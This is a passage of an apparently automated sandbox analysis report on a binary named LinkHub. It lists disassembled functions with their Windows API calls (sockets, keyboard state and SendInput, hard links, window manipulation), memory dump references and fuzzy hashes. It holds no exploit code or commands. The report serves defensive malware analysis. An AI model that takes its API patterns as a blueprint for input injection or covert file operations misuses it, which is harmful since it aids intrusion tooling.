                                                                            • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00E525E7
                                                                            • WSAGetLastError.WSOCK32 ref: 00E525F1
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLast$socket
                                                                            • String ID:
                                                                            • API String ID: 1881357543-0
                                                                            • Opcode ID: bb923315455a4a0dce57a4c4a9ca0e6e8a58b0550bfda13b85018ee3a0e172fb
                                                                            • Instruction ID: ba74be667b4b545785940992bddd0c8f3505e6221293a99c4eae10b774f84349
                                                                            • Opcode Fuzzy Hash: bb923315455a4a0dce57a4c4a9ca0e6e8a58b0550bfda13b85018ee3a0e172fb
                                                                            • Instruction Fuzzy Hash: 9541B534B002006FE720AF24C886F2A7795EB45758F54C44DF9169F3D2D7B2ED458BA1
                                                                            Function 00E66CB0 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetWindowRect.USER32(?,?), ref: 00E66D1A
                                                                            • ScreenToClient.USER32(?,?), ref: 00E66D4D
                                                                            • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00E66DBA
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ClientMoveRectScreen
                                                                            • String ID:
                                                                            • API String ID: 3880355969-0
                                                                            • Opcode ID: 1a95e02403fad6b6dfc13b87ca83b8851963ea54b32a39df2f52c18bd617a0de
                                                                            • Instruction ID: 8504acb2b475c3eb1bc76b6ea51a57eb35089e53f5c50016eccdb47ad49eca44
                                                                            • Opcode Fuzzy Hash: 1a95e02403fad6b6dfc13b87ca83b8851963ea54b32a39df2f52c18bd617a0de
                                                                            • Instruction Fuzzy Hash: 5D516134A10209EFCF14DF68E8809AE7BB6FF943A4F109159F915B7290D731AE41CB50
                                                                            Function 00E0B79F Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1f842b5379fad2d5e04e7d62dcec1608cb5ddff44fae31bae5eea3ac49677ee7
                                                                            • Instruction ID: 5c7d91708aba47ff1f53c7422cbff85f606ffec1b182a10e980f9e1b681dbb5e
                                                                            • Opcode Fuzzy Hash: 1f842b5379fad2d5e04e7d62dcec1608cb5ddff44fae31bae5eea3ac49677ee7
                                                                            • Instruction Fuzzy Hash: C841D671900704AFD728AF78CC45BAABBEDFB84710F10D52EE111EB2E1D771998187A0
                                                                            Function 00E4611E Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00E461C8
                                                                            • GetLastError.KERNEL32(?,00000000), ref: 00E461EE
                                                                            • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00E46213
                                                                            • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00E4623F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateHardLink$DeleteErrorFileLast
                                                                            • String ID:
                                                                            • API String ID: 3321077145-0
                                                                            • Opcode ID: e7d6eb2fe33cee0ac6d91317d54f5be144ac8db0e27ace9ccf1f0f553e36d12e
                                                                            • Instruction ID: 848fd1f7a85ad9aa4f045ff8703f95955cb89c75a750002b0167f8a05d75edff
                                                                            • Opcode Fuzzy Hash: e7d6eb2fe33cee0ac6d91317d54f5be144ac8db0e27ace9ccf1f0f553e36d12e
                                                                            • Instruction Fuzzy Hash: C1414A35600611DFCB21EF15C945A1ABBF2EF89714B188489F84AAB362CB71FC01DFA1
                                                                            Function 00E3B41E Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00E3B473
                                                                            • SetKeyboardState.USER32(00000080), ref: 00E3B48F
                                                                            • PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00E3B4FD
                                                                            • SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00E3B54F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: KeyboardState$InputMessagePostSend
                                                                            • String ID:
                                                                            • API String ID: 432972143-0
                                                                            • Opcode ID: e8a3d5a457b6b7303c94d3a6e2333cfa9a3255984759676bb99e36778b103bac
                                                                            • Instruction ID: b0af21cd84b19e5d96172ff4d81b0e58cdf1e999d4268a178f9dd015cd1221d4
                                                                            • Opcode Fuzzy Hash: e8a3d5a457b6b7303c94d3a6e2333cfa9a3255984759676bb99e36778b103bac
                                                                            • Instruction Fuzzy Hash: 35311670A44208AEFF308A259C0D7FA7FB6AB48314F08621AE6A7B61D2D7748985C755
                                                                            Function 00E3B563 Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00E3B5B8
                                                                            • SetKeyboardState.USER32(00000080,?,00008000), ref: 00E3B5D4
                                                                            • PostMessageW.USER32(00000000,00000101,00000000), ref: 00E3B63B
                                                                            • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00E3B68D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: KeyboardState$InputMessagePostSend
                                                                            • String ID:
                                                                            • API String ID: 432972143-0
                                                                            • Opcode ID: 3fc73d1f4a469969180b063d49c1007e8e894078bd2383f6463f3094d67cb57c
                                                                            • Instruction ID: d166bb470930226043fdf4111065ee7ae2f0598f5e42c1ff5d2824cc235ded36
                                                                            • Opcode Fuzzy Hash: 3fc73d1f4a469969180b063d49c1007e8e894078bd2383f6463f3094d67cb57c
                                                                            • Instruction Fuzzy Hash: 6D310B30A44608AEFF208B658C0E7FF7FA6AF85314F44522AE586B61D2C7748A45CB52
                                                                            Function 00E680AE Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ClientToScreen.USER32(?,?), ref: 00E680D4
                                                                            • GetWindowRect.USER32(?,?), ref: 00E6814A
                                                                            • PtInRect.USER32(?,?,?), ref: 00E6815A
                                                                            • MessageBeep.USER32(00000000), ref: 00E681C6
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Rect$BeepClientMessageScreenWindow
                                                                            • String ID:
                                                                            • API String ID: 1352109105-0
                                                                            • Opcode ID: 1169f19768537c92a89a3232246a5db773e326db8230864f662c7c95b43fd0ba
                                                                            • Instruction ID: ab6b4eb16a205371d016c52ac3777b311c2b40f6969351c82c41b937e97f753d
                                                                            • Opcode Fuzzy Hash: 1169f19768537c92a89a3232246a5db773e326db8230864f662c7c95b43fd0ba
                                                                            • Instruction Fuzzy Hash: 7C410230A42214DFCB11CF59E984AAA77F5FF4A794F1452A8EA40BB260CB70E846CB40
                                                                            Function 00E62176 Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetForegroundWindow.USER32 ref: 00E62187
                                                                              • Part of subcall function 00E34393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E343AD
                                                                              • Part of subcall function 00E34393: GetCurrentThreadId.KERNEL32 ref: 00E343B4
                                                                              • Part of subcall function 00E34393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00E32F00), ref: 00E343BB
                                                                            • GetCaretPos.USER32(?), ref: 00E6219B
                                                                            • ClientToScreen.USER32(00000000,?), ref: 00E621E8
                                                                            • GetForegroundWindow.USER32 ref: 00E621EE
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                            • String ID:
                                                                            • API String ID: 2759813231-0
                                                                            • Opcode ID: 0717a763c2d70f0bf56facfe100d44bd77e5997fd9aad85fb0a3da6429f8cbfa
                                                                            • Instruction ID: 39b79a8dd8106b04ad2e7e8fbe69f2c4f6052bac884911c6645c84f42088fffd
                                                                            • Opcode Fuzzy Hash: 0717a763c2d70f0bf56facfe100d44bd77e5997fd9aad85fb0a3da6429f8cbfa
                                                                            • Instruction Fuzzy Hash: B93152B1E05509AFC704EFA6C881CAEBBF8EF48304B50446AE515E7351DB71EE45CBA0
                                                                            Function 00E3E8AC Relevance: 6.1, APIs: 4, Instructions: 87COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD41EA: _wcslen.LIBCMT ref: 00DD41EF
                                                                            • _wcslen.LIBCMT ref: 00E3E8E2
                                                                            • _wcslen.LIBCMT ref: 00E3E8F9
                                                                            • _wcslen.LIBCMT ref: 00E3E924
                                                                            • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00E3E92F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$ExtentPoint32Text
                                                                            • String ID:
                                                                            • API String ID: 3763101759-0
                                                                            • Opcode ID: 6a0131ba06225b45b92d96b3b0b1de2f05b96da966337d287b1edf3a93c3a8fa
                                                                            • Instruction ID: 1e6544831597b6329e739cdb848b5d952d8e4266768326108cdda01dbd1daa2f
                                                                            • Opcode Fuzzy Hash: 6a0131ba06225b45b92d96b3b0b1de2f05b96da966337d287b1edf3a93c3a8fa
                                                                            • Instruction Fuzzy Hash: AA21B171D00318AFCB10AFA4D981BBEBBB9EF95350F1590A5E904BB381D6709E41CBB1
                                                                            Function 00E3DB6C Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetFileAttributesW.KERNEL32(?,00E6DC30), ref: 00E3DBA6
                                                                            • GetLastError.KERNEL32 ref: 00E3DBB5
                                                                            • CreateDirectoryW.KERNEL32(?,00000000), ref: 00E3DBC4
                                                                            • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00E6DC30), ref: 00E3DC21
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateDirectory$AttributesErrorFileLast
                                                                            • String ID:
                                                                            • API String ID: 2267087916-0
                                                                            • Opcode ID: c353b142e0e13d7a35bc477036ce008e42792cdd56c39a1a7f08b7f4ff943a25
                                                                            • Instruction ID: 681843a098dd7e6ae62ce5ca2e4a3998ea87fb4b666fcba2aff2b809ab7ddd37
                                                                            • Opcode Fuzzy Hash: c353b142e0e13d7a35bc477036ce008e42792cdd56c39a1a7f08b7f4ff943a25
                                                                            • Instruction Fuzzy Hash: A221A03050C2059F8700DF29EC8499BBBE8EF59368F502A1AF499A32A1D770D94ACB52
                                                                            Function 00E6321E Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetWindowLongW.USER32(?,000000EC), ref: 00E632A6
                                                                            • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00E632C0
                                                                            • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00E632CE
                                                                            • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00E632DC
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Long$AttributesLayered
                                                                            • String ID:
                                                                            • API String ID: 2169480361-0
                                                                            • Opcode ID: b7ceb26511033224fb9c2b6fcfd8ce19e3882d54ca367f1c3b20cea43f263106
                                                                            • Instruction ID: 3d40df5c1a3e17b0f25cb0e4f61e88885d4b720f7bdb0e2a78572cac296e02e4
                                                                            • Opcode Fuzzy Hash: b7ceb26511033224fb9c2b6fcfd8ce19e3882d54ca367f1c3b20cea43f263106
                                                                            • Instruction Fuzzy Hash: 3B213631748111AFD7149B25DC54FAABB95FF81364F248209F8269B2E2C771ED41CBD0
                                                                            Function 00E3825C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E396E4: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00E38271,?,000000FF,?,00E390BB,00000000,?,0000001C,?,?), ref: 00E396F3
                                                                              • Part of subcall function 00E396E4: lstrcpyW.KERNEL32(00000000,?,?,00E38271,?,000000FF,?,00E390BB,00000000,?,0000001C,?,?,00000000), ref: 00E39719
                                                                              • Part of subcall function 00E396E4: lstrcmpiW.KERNEL32(00000000,?,00E38271,?,000000FF,?,00E390BB,00000000,?,0000001C,?,?), ref: 00E3974A
                                                                            • lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00E390BB,00000000,?,0000001C,?,?,00000000), ref: 00E3828A
                                                                            • lstrcpyW.KERNEL32(00000000,?,?,00E390BB,00000000,?,0000001C,?,?,00000000), ref: 00E382B0
                                                                            • lstrcmpiW.KERNEL32(00000002,cdecl,?,00E390BB,00000000,?,0000001C,?,?,00000000), ref: 00E382EB
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: lstrcmpilstrcpylstrlen
                                                                            • String ID: cdecl
                                                                            • API String ID: 4031866154-3896280584
                                                                            • Opcode ID: b3ae199c42ae9d49e61466e7a1040d83ed44825fe5e948fe60ba83463b2726d9
                                                                            • Instruction ID: 6659284e97d1cfee3df08e1fb0a4c44c7e8f478ce238117ca56344f98af6c4ad
                                                                            • Opcode Fuzzy Hash: b3ae199c42ae9d49e61466e7a1040d83ed44825fe5e948fe60ba83463b2726d9
                                                                            • Instruction Fuzzy Hash: 9A11B17A200341ABCB149F39DC49A7A7BE9FF89754B50902AF942D7260EF719811C7A0
                                                                            Function 00E660FF Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,00001060,?,00000004), ref: 00E6615A
                                                                            • _wcslen.LIBCMT ref: 00E6616C
                                                                            • _wcslen.LIBCMT ref: 00E66177
                                                                            • SendMessageW.USER32(?,00001002,00000000,?), ref: 00E662B5
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend_wcslen
                                                                            • String ID:
                                                                            • API String ID: 455545452-0
                                                                            • Opcode ID: ba94e40cfbdfd3d954a87ff0bc31ba92a7cc228f93dfdd2a971a0db7a85321a3
                                                                            • Instruction ID: 85b36a4de943b953708df08e28137eabf711413a7f633908f9413aab9e06afa5
                                                                            • Opcode Fuzzy Hash: ba94e40cfbdfd3d954a87ff0bc31ba92a7cc228f93dfdd2a971a0db7a85321a3
                                                                            • Instruction Fuzzy Hash: E511E431690208AADB10DF65AC84AEF77BCEB223D4F10502AFA15F5081E770C944CAB0
                                                                            Function 00E02079 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 3b73a94377f2b564d9641b43bfa890f85bbd6b67ffc4a72190268081b6401f05
                                                                            • Instruction ID: 53e8ed47c70f32e94e0e3755f7cb8dc22faf593b18ac1e8315beb92b4570bb9c
                                                                            • Opcode Fuzzy Hash: 3b73a94377f2b564d9641b43bfa890f85bbd6b67ffc4a72190268081b6401f05
                                                                            • Instruction Fuzzy Hash: DB018FB26093167EFA2126786CC8F67668DDF423B8B346329B621B11D5DAA08CC09160
                                                                            Function 00E32374 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 00E32394
                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E323A6
                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E323BC
                                                                            • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00E323D7
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend
                                                                            • String ID:
                                                                            • API String ID: 3850602802-0
                                                                            • Opcode ID: ac0967a4f1d04aa05192dff5b18028ec5820ca2734f13cfeb7e1d15c07402b8a
                                                                            • Instruction ID: eed620b21b2e19c334d2872e5c89e562e9e46c114d043d3e5255750aed09aaf5
                                                                            • Opcode Fuzzy Hash: ac0967a4f1d04aa05192dff5b18028ec5820ca2734f13cfeb7e1d15c07402b8a
                                                                            • Instruction Fuzzy Hash: 97113C36900219FFDB119B95CD85F9DBB78FB48750F200095E600B7290D6716E10DB94
                                                                            Function 00E3EAED Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentThreadId.KERNEL32 ref: 00E3EB14
                                                                            • MessageBoxW.USER32(?,?,?,?), ref: 00E3EB47
                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00E3EB5D
                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00E3EB64
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
